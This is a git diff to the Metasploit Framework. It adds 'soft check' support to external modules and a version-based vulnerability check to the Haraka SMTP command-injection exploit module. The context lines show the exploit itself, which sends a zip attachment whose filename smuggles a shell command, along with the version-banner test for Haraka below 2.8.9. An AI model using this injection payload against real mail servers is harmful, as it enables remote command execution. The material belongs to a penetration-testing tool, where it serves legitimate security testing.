diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb
index 7fbcabf7ae..819a623fe9 100644
--- a/lib/msf/core/exploit.rb
+++ b/lib/msf/core/exploit.rb
@@ -107,6 +107,14 @@ class Exploit < Msf::Module
     # The module does not support the check method.
     #
     Unsupported = [ 'unsupported', "This module does not support check." ]
+
+    #
+    # Hash for looking up codes by short name
+    #
+    Codes = [Unknown, Safe, Detected, Appears, Vulnerable, Unsupported].reduce({}) do |codes, code|
+      codes[code.first] = code
+      codes
+    end.freeze
   end
 
   #
diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb
index e541f46478..34a152beb7 100644
--- a/lib/msf/core/module/external.rb
+++ b/lib/msf/core/module/external.rb
@@ -4,7 +4,7 @@ module Msf::Module::External
   include Msf::Auxiliary::Report
   include Msf::Module::Auth
 
-  def execute_module(path, method: :run, args: datastore)
+  def execute_module(path, method: :run, args: datastore, fail_on_exit: true)
     mod = Msf::Modules::External.new(path, framework: framework)
     success = mod.exec(method: method, args: args) do |m|
       begin
@@ -14,7 +14,7 @@ module Msf::Module::External
         when :report
           process_report(m, mod)
         when :reply
-          # Nothing useful yet
+          return m.params['return']
         end
       rescue Interrupt => e
         raise e
@@ -24,7 +24,7 @@ module Msf::Module::External
       end
     end
 
-    fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if !success
+    fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if fail_on_exit && !success
   end
 
   def log_output(m)
diff --git a/lib/msf/core/modules/external/python/metasploit/module.py b/lib/msf/core/modules/external/python/metasploit/module.py
index f8c63fbe57..a74fc1b997 100644
--- a/lib/msf/core/modules/external/python/metasploit/module.py
+++ b/lib/msf/core/modules/external/python/metasploit/module.py
@@ -75,15 +75,32 @@ def report_wrong_password(username, password, **opts):
     report('wrong_password', info)
 
 
-def run(metadata, module_callback):
+def run(metadata, module_callback, soft_check=None):
     req = json.loads(os.read(0, 10000).decode("utf-8"))
+    callback = None
     if req['method'] == 'describe':
-        rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': metadata})
+        caps = []
+        if soft_check:
+            caps.append('soft_check')
+
+        meta = metadata.copy()
+        meta.update({'capabilities': caps})
+
+        rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': meta})
+    elif req['method'] == 'soft_check':
+        if soft_check:
+            callback = soft_check
+        else:
+            rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'error': {'code': -32601, 'message': 'Soft checks are not supported'}})
     elif req['method'] == 'run':
+        callback = module_callback
+
+    if callback:
         args = req['params']
-        module_callback(args)
+        ret = callback(args)
         rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': {
-            'message': 'Module completed'
+            'message': 'Module completed',
+            'return': ret
         }})
 
 
diff --git a/lib/msf/core/modules/external/ruby/metasploit.rb b/lib/msf/core/modules/external/ruby/metasploit.rb
index 52186c4912..b3fdcdd8aa 100644
--- a/lib/msf/core/modules/external/ruby/metasploit.rb
+++ b/lib/msf/core/modules/external/ruby/metasploit.rb
@@ -33,18 +33,36 @@ module Metasploit
       report(:wrong_password, opts.merge(username: username, password: password))
     end
 
-    def run(metadata, callback)
+    def run(metadata, callback, soft_check: nil)
       self.logging_prefix = ''
+      cb = nil
       req = JSON.parse($stdin.readpartial(10000), symbolize_names: true)
       if req[:method] == 'describe'
+        capabilities = []
+        capabilities << 'soft_check' if soft_check
+
+        meta = metadata.merge(capabilities: capabilities)
         rpc_send({
-          jsonrpc: '2.0', id: req[:id], result: metadata
+          jsonrpc: '2.0', id: req[:id], result: meta
         })
+      elsif req[:method] == 'soft_check'
+        if soft_check
+          cb = soft_check
+        else
+          rpc_send({
+            jsonrpc: '2.0', id: req[:id], error: {code: -32601, message: 'Soft checks are not supported'}
+          })
+        end
       elsif req[:method] == 'run'
-        callback.call req[:params]
+        cb = callback
+      end
+
+      if cb
+        ret = cb.call req[:params]
         rpc_send({
           jsonrpc: '2.0', id: req[:id], result: {
-            message: 'Module completed'
+            message: 'Module completed',
+            'return' => ret
           }
         })
       end
diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb
index baf199aa4b..9c55d2efc8 100644
--- a/lib/msf/core/modules/external/shim.rb
+++ b/lib/msf/core/modules/external/shim.rb
@@ -32,6 +32,10 @@ class Msf::Modules::External::Shim
     render_template('common_metadata.erb', meta)
   end
 
+  def self.common_check(meta = {})
+    render_template('common_check.erb', meta)
+  end
+
   def self.mod_meta_common(mod, meta = {}, drop_rhost: false)
     meta[:path]        = mod.path.dump
     meta[:name]        = mod.meta['name'].dump
@@ -54,6 +58,8 @@ class Msf::Modules::External::Shim
           [#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
       end
     end.join(",\n          ")
+
+    meta[:capabilities] = mod.meta['capabilities']
     meta
   end
 
diff --git a/lib/msf/core/modules/external/templates/common_check.erb b/lib/msf/core/modules/external/templates/common_check.erb
new file mode 100644
index 0000000000..93964b3498
--- /dev/null
+++ b/lib/msf/core/modules/external/templates/common_check.erb
@@ -0,0 +1,7 @@
+<% if meta[:capabilities].include? 'soft_check' %>
+def check
+  code = execute_module(<%= meta[:path] %>, method: :soft_check, fail_on_exit: false) || 'unknown'
+  return Msf::Exploit::CheckCode::Codes[code]
+end
+<% end %>
+
diff --git a/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb b/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb
index c7499fd22e..3368291e9d 100644
--- a/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb
+++ b/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb
@@ -34,6 +34,8 @@ class MetasploitModule < Msf::Exploit::Remote
       ])
   end
 
+  <%= common_check meta %>
+
   def execute_command(cmd, opts)
     execute_module(<%= meta[:path] %>, args: datastore.merge(command: cmd))
   end
diff --git a/modules/exploits/linux/smtp/haraka.py b/modules/exploits/linux/smtp/haraka.py
index 59dff0bb03..e8434e63cc 100755
--- a/modules/exploits/linux/smtp/haraka.py
+++ b/modules/exploits/linux/smtp/haraka.py
@@ -10,6 +10,8 @@
 # Thanks to: Dexlab.nl for asking me to look at Haraka.
 
 import smtplib
+import re
+from distutils.version import StrictVersion
 from email.mime.application import MIMEApplication
 from email.mime.multipart import MIMEMultipart
 from email.utils import COMMASPACE, formatdate
@@ -21,6 +23,7 @@ import zipfile
 import StringIO
 from metasploit import module
 
+
 metadata = {
     'name': 'Haraka SMTP Command Injection',
     'description': '''
@@ -52,6 +55,7 @@ metadata = {
         'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
      }}
 
+
 def send_mail(to, mailserver, cmd, mfrom, port):
     msg = MIMEMultipart()
     html = "harakiri"
@@ -79,6 +83,7 @@ def send_mail(to, mailserver, cmd, mfrom, port):
     s.close()
     return(False)
 
+
 class InMemoryZip(object):
     def __init__(self):
         self.in_memory_zip = StringIO.StringIO()
@@ -92,6 +97,7 @@ class InMemoryZip(object):
         self.in_memory_zip.seek(0)
         return self.in_memory_zip.read()
 
+
 def create_zip(cmd="touch /tmp/harakiri"):
     z1 = InMemoryZip()
     z2 = InMemoryZip()
@@ -100,8 +106,31 @@ def create_zip(cmd="touch /tmp/harakiri"):
     z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
     return(z1.read())
 
+
+def check_banner(args):
+    module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug')
+    c = smtplib.SMTP()
+    (code, banner) = c.connect(args['rhost'], int(args['rport']))
+    c.quit()
+
+    if code == 220 and 'Haraka' in banner:
+        versions = re.findall('(\d+\.\d+\.\d+)', banner)
+        if versions:
+            if StrictVersion(versions[0]) < StrictVersion('2.8.9'):
+                return 'appears'
+            else:
+                return 'safe'
+        else:
+            return 'detected'
+    elif code == 220:
+        return 'detected'
+    else:
+        return 'unknown'
+
+
 def exploit(args):
     send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
 
+
 if __name__ == '__main__':
-    module.run(metadata, exploit)
+    module.run(metadata, exploit, soft_check=check_banner)